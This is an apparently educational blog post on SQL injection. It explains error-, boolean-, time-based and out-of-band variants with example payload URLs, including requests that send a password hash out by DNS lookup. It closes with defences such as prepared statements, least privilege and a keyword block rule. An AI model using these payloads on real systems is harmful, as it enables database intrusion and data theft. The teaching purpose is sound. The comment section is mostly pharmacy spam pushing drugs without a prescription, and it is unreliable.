HackingIn-Depth ConceptsInformationMaster HackPremiumTechnology

SQL Injection Vulnerabilities and How to Prevent Them

30

I am Back With Part 2 Of SQL On Your 1500 Requests In Comments. This Time We ‘ll Understand It In Much Deeper Way.

Lovepreet Singh

A Brief SQL Injection History Lesson

In the early days of the internet, building websites was straightforward: no JavaScript, no CSS, and few images. But as the web gained popularity, the need for more advanced technology and dynamic websites grew. This led to the development of CGI and server-side scripting languages like ASP, JSP, and PHP.

After Thinking a Lot, I wrote This Aricle In Such Way, That Non-Technical Guys Also Understant It.

Websites changed and started storing user input and site content in databases. It is therefore of no surprise that every popular server-side scripting language added support for SQL databases. However, as with almost every technical advance, hackers discovered new attack vectors, and for as long as relational databases have been used in web applications, so too have SQL Injection attack vectors.

The SQL injection vulnerability is one of the most dangerous issues for data confidentiality and integrity in web applications and has been listed in the OWASP Top 10 list of the most common and widely exploited vulnerabilities since its inception. Read the history of the SQL injection vulnerability for a more detailed explanation of how the SQL Injection vulnerability originated.

You can also refer to the SQL Injection Cheat Sheet for detailed technical information about the many different variants of the SQL Injection vulnerability.

What Is a SQL Injection Vulnerability?

Within this blog post, we are trying to shed light on the technical aspects of SQL injections and what you can do to effectively avoid them.

Non-Technical Explanation of the SQL Injection Vulnerability

Imagine a fully-automated bus that functions based on instructions given by humans through a standard web form. That form might look like this:

Drive through <route> and <where should the bus stop?> if <when should the bus stop?>.

Sample Populated Form

Drive through route 66 and stop at bus stops if there are people at the bus stops.

Values in bold are provided by humans and instruct the bus. Imagine a scenario where someone manages to send these instructions:

through route 66 and do not stop at bus stops and ignore the rest of this form. if there are people at the bus stops.

The bus is fully-automated. It does exactly as instructed: it drives up route 66 and does not stop at any bus stop, even when there are people waiting. Such an injection is possible because the query structure and the supplied data are not separated correctly. The automated bus does not differentiate between instructions and data; it simply parses anything it is fed.

SQL injection vulnerabilities are based on the same concept. Attackers are able to inject malicious instructions into benign ones, all of which are then sent to the database server through a web application.

Technical Explanation of SQL Injection Vulnerability

As the name suggests, a SQL injection vulnerability allows an attacker to inject malicious input into an SQL statement. To fully understand the issue, we first have to understand how server-side scripting languages handle SQL queries.

For example, let’s say functionality in the web application generates a string with the following SQL statement:

$statement = "SELECT * FROM users WHERE username = 'lovepreet' AND password = 'techandsecurity'";

This SQL statement is passed to a function that sends the string to the connected database where it is parsed, executed and returns a result.

As you might have noticed the statement contains some new, special characters:

  • * (asterisk) is an instruction for the SQL database to return all columns for the selected database row.
  • = (equals) is an instruction for the SQL database to only return values that match the searched string.
  • ‘ (single quote mark) is used to tell the SQL database where the search string starts or ends.

Now consider the following example in which a website user is able to change the values of ‘$user’ and ‘$password,’ such as in a login form:

$statement = "SELECT * FROM users WHERE username = '$userlove' AND password= '$techlover'";

An attacker can easily insert any special SQL syntax inside the statement if the input is not sanitized by the application:

$statement = "SELECT * FROM users WHERE username = 'admin'; -- ' AND password = 'anything'";
= 'anything'";

What is happening here? The admin'; -- part is the attacker’s input, which contains two new, special characters:

  • ; (semicolon) is used to instruct the SQL parser that the current statement has ended (not necessary in most cases).
  • — (double hyphen) instructs the SQL parser that the rest of the line (shown in light grey above) is a comment and should not be executed.

This SQL injection effectively removes the password verification, and returns a dataset for an existing user – ‘admin’ in this case. The attacker can now log in with an administrator account, without having to specify a password.

The Different Types of SQL Injection Vulnerability

Attackers can exfiltrate data from servers by exploiting SQL Injection vulnerabilities in various ways. Common methods include retrieving data based on errors, conditions (true/false), and timing. Let’s look at the variants.

Error-Based SQL Injection

When exploiting an error-based SQL Injection vulnerability, attackers can retrieve information such as table names and content from visible database errors.

Error-Based SQL Injection Example

https://techandsecurity/index.php?id=1+and(select 1 FROM(select count(),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)

This Request Returned an Error

Duplicate entry 'database1' for key 'group_key'

The same method works for table names and content. Disabling error messages on production systems helps to prevent attackers from gathering such information.

Boolean-Based SQL Injection

Sometimes there is no visible error message on the page when a SQL query fails, making it difficult for an attacker to get information from the vulnerable application. However, there is still a way to extract information.

When a SQL query fails, sometimes some parts of the web page disappear or change, or the entire website can fail to load. These indications allow attackers to determine whether the input parameter is vulnerable and whether it allows extraction of data.

Attackers can test for this by inserting a condition into a SQL query:

https://techandsecurity.net/index.php?id=1+AND+1=1

If the page loads as usual, it might indicate that it is vulnerable to a SQL Injection. To be sure, an attacker typically tries to provoke a false result using something like this:

https://techandsecurity.net/index.php?id=1+AND+1=2

Since the condition is false, if no result is returned or the page does not work as usual (missing text or a white page is displayed, for example), it might indicate that the page is vulnerable to a SQL injection.

Here is an example of how to extract data in this way:

https://techandsecurity.net/index.php?id=1+AND+IF(version()+LIKE+'5%',true,false)

With this request, the page should load as usual if the database version is 5.X. But, it will behave differently (display an empty page, for example) if the version is different, indicating whether it is vulnerable to a SQL injection.

Time-Based SQL Injection

In some cases, even though a vulnerable SQL query does not have any visible effect on the output of the page, it may still be possible to extract information from an underlying database.

Hackers determine this by instructing the database to wait (sleep) a stated amount of time before responding. If the page is not vulnerable, it will load quickly; if it is vulnerable it will take longer than usual to load. This enables hackers to extract data, even though there are no visible changes on the page. The SQL syntax can be similar to the one used in the Boolean-Based SQL Injection Vulnerability.

But to set a measurable sleep time, the ‘true’ function is changed to something that takes some time to execute, such as ‘sleep(3)’ which instructs the database to sleep for three seconds:https://techandsecurity.net/index.php?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)

If the page takes longer than usual to load it is safe to assume that the database version is 5.X.

Out-of-Band SQL Injection Vulnerability

Sometimes the only way an attacker can retrieve information from a database is to use out-of-band techniques. Usually, these types of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers may use this method if an injection does not occur directly after the supplied data is inserted, but at a later point in time.

Out-of-Band Example

https://techandsecurity.net/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\',(SELECT @@version),'techandsecurity.net\')))
https://www.techandsecurity.net/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\' + @pass + '.techandsecurity.net\c$\boot.ini''')

In these requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the subdomain. This means that an attacker does not need to see the result of the injection, but can wait until the database server sends a request instead.

Impacts of SQL Injection Vulnerability

There are a number of things an attacker can do when exploiting a SQL injection on a vulnerable website. Usually, it depends on the privileges of the user the web application uses to connect to the database server. By exploiting a SQL injection vulnerability, an attacker can:

  • Add, delete, edit, or read content in the database.
  • Read source code from files on the database server.
  • Write files to the database server.

It all depends on the capabilities of the attacker, but the exploitation of a SQL injection vulnerability can even lead to a complete takeover of the database and web server. You can learn more useful tips on how to test the impact of an SQL injection vulnerability on your website by referring to the SQL injection cheat sheet.

A good way to prevent damage is to restrict access as much as possible (for example, do not connect to the database using the sa or root account). It is also sensible to have different databases for different purposes (for example, separating the database for the shop system and the support forum of your website).

Preventing SQL Injection Vulnerabilities

Server-side scripting languages are not able to determine whether the SQL query string is malformed. All they can do is send a string to the database server and wait for the interpreted response.

Surely, there must be a way to simply sanitize user input and ensure a SQL injection is infeasible. Unfortunately, that is not always the case. There are perhaps an infinite number of ways to sanitize user input, from globally applying PHP’s addslashes() to everything (which may yield undesirable results), all the way down to applying the sanitization to “clean” variables at the time of assembling the SQL query itself, such as wrapping the above $_GET['id'] in PHP’s mysql_escape_string() function. However, applying sanitization at the query itself is a very poor coding practice and difficult to maintain or keep track of. This is where database systems have employed the use of prepared statements.

Using Prepared Statements as SQL Injection Prevention

When you think of prepared statements, think of how printf works and how it formats strings. Literally, you assemble your string with placeholders for the data to be inserted, and apply the data in the same sequence as the placeholders. SQL prepared statements operate on a very similar concept, where, instead of directly assembling your query string and executing it, you store a prepared statement, feed it with the data, and it assembles and sanitizes it for you upon execution. Great! Now there should never be another SQL injection again. So why, then, are SQL injection attacks still constantly one of the biggest and most prevalent attack methods?

Insecure SQL Queries Are a Problem

Simply put, it perhaps boils down to web application developer laziness and lack of education and awareness. Insecure SQL queries are so extremely easy to create, and secure SQL queries are still mildly complex (or at least more complex than generic and typical in-line and often insecure queries). In the examples above, a malicious hacker can inject anything he or she desires in the same line as the SQL query itself.

Example and Explanation of a SQL Prepared Statement

However, with prepared statements, there are multiple steps. No major database system operates like printf (with everything occurring within the same statement on the same line). MySQL, directly, requires at least two commands (one PREPARE and one EXECUTE). PHP, via the PDO library, also requires a similar stacking approach, such as the following:

$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?");
$stmt->execute(array($username, $password));

At first glance, this is not inherently problematic and, on average, increases each SQL query by only an extra line or two. However, as this requires extra caution and effort on behalf of already tired and taxed developers, often times they may get a little lazy and cut corners, opting, instead, to just use the easy procedural mysql_query() as opposed to the more advanced object-oriented PDO prepare().

Besides this, many developers just stick with what they know to get the job done and they generally learn the easiest and most straightforward way to execute SQL queries rather than showing genuine interest in improving what they know. But this could also be an issue of lack of awareness.

Deeper Into the Rabbit Hole of SQL Injection Security

Say, however, this isn’t a case of lazy developers or even a lack of prepared statements — or, more precisely, say the software itself and its security is out of your hands. Perhaps it is impractical or infeasible to completely secure the SQL queries in the code you use (by one comparison, Drupal has had over 20,000 lines of code committed, WordPress has had over 60,000 lines, and Joomla! has had over 180,000 lines), or, it may simply be impossible because it is encoded, etc., etc. Whatever the case is if you do not have control over the code you may need to employ different, more advanced “outside the box” protections.

Non-Development Related SQL Injection Protection

Running Updated Software

First and foremost, always ensure you are running the most up-to-date software you can. If you are using WordPress or any other CMS framework, keep it updated! The same goes for PHP, your web server software such as Apache and nginx, and your database server (MySQL, Postgres, or others). The more recent the version of your software is the less chance of having a vulnerability or at least a widely-known one. This also extends down to your other software as well, such as SSH, OpenSSL, Postfix, and even the operating system itself.

Block URLs at the Web Server Level

Next, you should employ methods to ensure you are as minimally vulnerable to potential SQL injection attacks as possible. You could perhaps go for a quick and easy match against common SQL query keywords in URLs and just simply block them. For example, if you run Apache as your web server, you could use the following two mod_rewrite lines in your VirtualHost directive, as explained below:

RewriteCond %{QUERY_STRING} [^a-z]
(declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

This is indeed quite clever, but it does not protect against everything. SQL injection parameters can still be passed via POST values or other RESTful-type URLs, not to mention there are tons of different ways to bypass this kind of generic blacklisting.

Securing the Database and Privileges

You can also ensure your database itself is as secure as possible. In the information security field, there exists a concept known as the principle of least privilege. Effectively, this principle states that a user or program should have only the absolute very least amount of privileges necessary to complete its tasks. We already do this practically every day with Linux file permissions, so the concept is in no way foreign, and is equally applicable to databases. There is probably no reason why your logging functionality should have anything beyond INSERT privileges, so you should not simply GRANT ALL PRIVILEGES because it is easier.

Segregating Sensitive and Confidential Data

Similarly, you might consider separation of data as a defense in depth approach, rather than conglomerating it into a single source. When you step back and think about it, it is probably not a very wise idea to keep your (hopefully PCI-compliant) customer credit card data stored in the same database as your forums, which are running an outdated and highly vulnerable version of phpBB, right? Not only would the principle of least privilege be very applicable in this situation, but even going so far as to entirely separate out your more sensitive data is a very sage approach. To think about it another way, would you keep all your most important paperwork inside your house, or would you keep some in a safety deposit box, too? The same concept applies to sensitive data.

Analyzing HTTP Requests Before Hitting the Web Application

Another option is the use of more detailed firewall systems. Typically this might include some adaptive solution that rides on top of iptables or ipfw (depending on whether you are using Linux or a BSD variant, respectively), or perhaps a reactive Host Intrusion Detection System (HIDS) such as OSSEC, although these are often more complicated than desired and not exactly purpose-built for these uses. Instead, you may wish to utilize a Web Application Firewall, which is designed specifically for these tasks. While there exist several enterprise-level solutions that are both a WAF and database firewall (sitting between your web application and your database), there are many open-source solutions, such as ModSecurity and IronBee, that perform remarkably well.

The Truth About SQL Injection Web Vulnerabilities

Even though we have just provided examples of how to prevent the exploitation of SQL injection vulnerabilities, there is no magic wand.

PHP, however, is attempting a new, aggressive approach. Since PHP 5.5, procedural MySQL has been deprecated and will soon be removed entirely. This means that future software projects will need to be switched to either MySQLi or PDO MySQL in order to continue to work. This is a positive development since it forces developers into a system that handles prepared statements with relative ease – though it still requires stacking a few operations. However, since many developers adopt a ‘code golf’ style (attempting to code in as few lines or characters as possible), many unfortunately will still opt for a single-line straight query over a two-line prepared statement.

There are other options that can account for development shortcomings, including but not limited to: privilege limitations, data separation, web application firewalls, and many other approaches. But until these options are employed as consistently as SQL injection attacks, it may never be the case that injection-style attacks escape OWASP’s Top 10 list.

Be the change that is needed to ensure data and web application security, and keep your databases safe from SQL injections!

Vulnerability Classification and Severity Table

CLASSIFICATIONID/SEVERITY
PCI v3.16.5.1
PCI v3.26.5.1
OWASP 2013A1
CWE89
CAPEC66
WASC19
HIPAA164.306(a), 164.308(a)
CVSS 3.0 Score
Base10 (Critical)
Temporal10 (Critical)
Environmental10 (Critical)
CVSS Vector String
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Have something to say about this article? Comment below or share it with us on Facebook or our WhatsappGroup.

Lovepreet Singh
CEO & FOUNDER OF" FIVE RIVERS INCORPORATION - LEADING SOFTWARE & CYBER SECURITY DEVELOPMENT COMPANY" || CERTIFIED ETHICAL HACKER || FUTURE TRILLIONAIRE || FUTURISTIC || "DULL SCHOOL STUDENT" || (Follow this link to message me on WhatsApp: https://wa.me/13018426470)

How to Hack WiFi Password Easily Using New Attack On WPA/WPA2

Previous article

Privacy Policy – River VPN

Next article

You may also like

30 Comments

  1. Hey I am so thrilled I found your webpage, I really found you by error,
    while I was searching on Digg for something else,
    Anyways I am here now and would just like to say thanks a lot for a
    marvelous post and a all round thrilling blog (I also love the theme/design), I don’t
    have time to look over it all at the minute
    but I have saved it and also added your RSS feeds, so when I have time
    I will be back to read a great deal more, Please do keep up the awesome work.

  2. Zithromax Red Eyes Cephalexin Rx657 Where To Order Legally Amoxicilina Medication In Internet Virginia [url=http://cialiprice.com]cialis without a doctor’s prescription[/url] Macrobid No Script Needed Next Day Delivery

  3. Hi there everyone, it’s my first pay a visit at this web site, and article is actually
    fruitful in favor of me, keep up posting such content.

  4. Viagra Rezeptfrei Rechnung Kamagra Safety [url=http://mailordervia.com]buy viagra online[/url] Cytotec 200 Ug Mexican Pharmacy Online Buy

  5. A person necessarily lend a hand to make seriously articles I’d
    state. This is the first time I frequented your website page and so far?
    I surprised with the research you made to make this actual post
    amazing. Fantastic activity!

  6. magnificent publish, very informative. I’m wondering
    why the other specialists of this sector don’t understand this.
    You should continue your writing. I’m sure, you’ve a great readers’
    base already!

  7. You could definitely see your enthusiasm within the article you write.
    The sector hopes for even more passionate writers like you who are not afraid to say how they believe.
    Always follow your heart.

  8. Tipos De La Propecia Acne [url=http://tadalaffbuy.com]cialis 5 mg best price usa[/url] Toradol Over Night

  9. always i used to read smaller content which as well clear their motive, and that is also happening with this post which I am reading now.

  10. I’m more than happy to discover this page. I want to to thank you for your time for this particularly fantastic read!!
    I definitely liked every bit of it and i also have you bookmarked to check out new
    things in your web site.

  11. This is the perfect site for everyone who hopes to find out
    about this topic. You realize a whole lot its almost tough
    to argue with you (not that I personally will need to…HaHa).
    You definitely put a fresh spin on a topic that’s
    been written about for years. Great stuff, just great!

  12. I have fun with, cause I discovered just what I was taking a look for.
    You have ended my four day lengthy hunt! God Bless you man. Have a nice day.

    Bye

  13. Zithromax Pi [url=http://buycialcheap.com]cialis vs viagra[/url] For Sale Zentel Why Is Propecia So Expensive Viagra Prescription Medicale

  14. Great post. I was checking constantly this blog and I’m impressed!

    Very helpful info specifically the last part 🙂 I care for such information a
    lot. I was seeking this particular information for a long time.
    Thank you and good luck.

  15. It’s really a cool and useful piece of information. I’m happy that you just shared this useful info with us.
    Please stay us informed like this. Thank you for sharing.

  16. Yes! Finally something about g.

  17. I pay a visit day-to-day some blogs and websites to read articles, except this
    blog provides feature based writing.

  18. I pay a quick visit each day a few sites and blogs to read articles or
    reviews, however this website gives feature based content.

  19. Today, I went to the beach with my children.
    I found a sea shell and gave it to my 4 year old daughter and said “You can hear the ocean if you put this to your ear.” She placed the shell
    to her ear and screamed. There was a hermit crab inside and it pinched her ear.
    She never wants to go back! LoL I know this is
    completely off topic but I had to tell someone!

  20. These are really fantastic ideas in concerning blogging.

    You have touched some nice factors here. Any way keep up wrinting.

  21. We are a gaggle of volunteers and opening a new scheme in our community.
    Your site provided us with useful info to work on. You’ve performed a
    formidable job and our whole neighborhood will be
    thankful to you.

  22. Prix Du Cialis En Algerie [url=http://nefoc.com]propecia fecundacion in vitro[/url] Viagra Einnahme Wann

  23. Have you ever considered publishing an e-book or guest authoring on other websites?

    I have a blog based on the same ideas you discuss and would really like to have
    you share some stories/information. I know my subscribers would value
    your work. If you are even remotely interested, feel free to send
    me an e mail.

  24. Howdy! I know this is somewhat off topic but I was wondering which blog platform are you using for this website?

    I’m getting sick and tired of WordPress because I’ve had problems with hackers and I’m looking at options for another
    platform. I would be great if you could point me
    in the direction of a good platform.

  25. You made some decent points there. I looked on the internet for more info about the issue and found most individuals will
    go along with your views on this web site.

  26. I will immediately grasp your rss as I can’t to find your email subscription link or e-newsletter service.
    Do you’ve any? Kindly let me realize in order that I may subscribe.

    Thanks.

  27. Cialis Bio Viagra 100mg Canada Pharmacy Cialis Once A Day Opinioni [url=http://viaaorder.com]viagra[/url] Baclofene Achat En France Levitra Prescription Online Amoxicillin Sexual Dysfunction

  28. Buy Buspar Cialis 10 Mg Erezione Prescription Drugs Without Prescription [url=http://cial20mgprice.com]generic cialis[/url] Sale Doxycycline Cialis Italia Online Tomar Cialis Y Aspirina

  29. Hydrochlorothiazide No Prescription Cialis And Ecuador Pharmacy Health About Biz [url=http://gaprap.com]online pharmacy[/url] Propecia Sin Receta Pharmacybiz Viagra Foro Experiencias

  30. […] Part 2 SQL Injection :- https://techandsecurity.net/sql-injection-vulnerabilities-and-how-to-prevent-them.html […]

Leave a reply

Your email address will not be published. Required fields are marked *

More in Hacking